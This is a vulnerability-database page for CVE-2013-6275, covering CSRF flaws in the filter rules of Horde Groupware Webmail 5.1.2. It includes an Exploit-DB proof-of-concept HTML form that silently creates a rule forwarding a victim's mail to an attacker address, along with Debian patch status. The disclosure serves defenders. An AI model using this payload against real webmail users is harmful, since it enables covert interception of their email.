VIR Vulnerability Intelligence Relay

CVE-2013-6275

unknown
Published — · Modified —
💬 Discuss on Community ✚ Propose mitigation
CVSS v3
—
CVSS v4 NEW
—
not yet in upstream
VIR risk
1.0

Description

Multiple CSRF issues in Horde Groupware Webmail Edition 5.1.2 and earlier in basic.php.

Predictions

Exploit likelihood
20%
Patch ETA
—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-29274 webapps php text · 2 KB
Marcela Benetrix · 2013-10-29

Horde Groupware Web Mail Edition 5.1.2 - Cross-Site Request Forgery (1)

text exploit Source: Exploit-DB 
#############################
Exploit Title : Multiple CSRF Horde Groupware Web mail Edition
Author:Marcela Benetrix
Date: 10/25/13
version: 5.1.2
software link:http://www.horde.org/apps/webmail

#############################
GroupWare Web mail Edition

Horde Groupware Webmail Edition is a free, enterprise ready, browser based communication suite. Users can read, send and organize email messages and manage and share calendars, contacts, tasks, notes, files, and bookmarks with the standards compliant components from the Horde Project

##########################
CSRF Location

Several functionalities from Rules section were found to miss the token so as to prevent CSRF


##########################
POC

A <body>
    <form action="...../horde/ingo/basic.php?page=rule" method="POST">
      <input type="hidden" name="actionID" value="rule_save" />
      <input type="hidden" name="conditionnumber" value="-1" />
      <input type="hidden" name="name" value="TestingCSRF" />
      <input type="hidden" name="combine" value="1" />
      <input type="hidden" name="field[0]" value="From" />
      <input type="hidden" name="match[0]" value="contains" />
      <input type="hidden" name="value[0]"
value="test@hotmail.com" />
      <input type="hidden" name="field[1]" value="" />
      <input type="hidden" name="action" value="4" />
      <input type="hidden" name="actionvalue"
value="attacker@hotmail.com" />
      <input type="hidden" name="stop" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

These were found at:
  * Creating a rule
  * Updating
  * Enabling
    (http://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=2&actionID=rule_enable)
  * Deleting ( url-based https://www.test.com/horde/ingo/basic.php?page=filters&rulenumber=6&actionID=rule_delete)

###########################
CVE identifier

CVE-2013-6275.
##########################
Vendor Notification
10/25/2013 to: the developers. They replied immediately and fixed the problem launching a patch:  http://bugs.horde.org/ticket/12796
10/28/2013: Disclosure

OS impact
debian Debian Fixed 3 releases
VersionStatusFixed in
sid Fixed 3.1.3-1
bullseye Fixed 3.1.3-1
bookworm Fixed 3.1.3-1

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.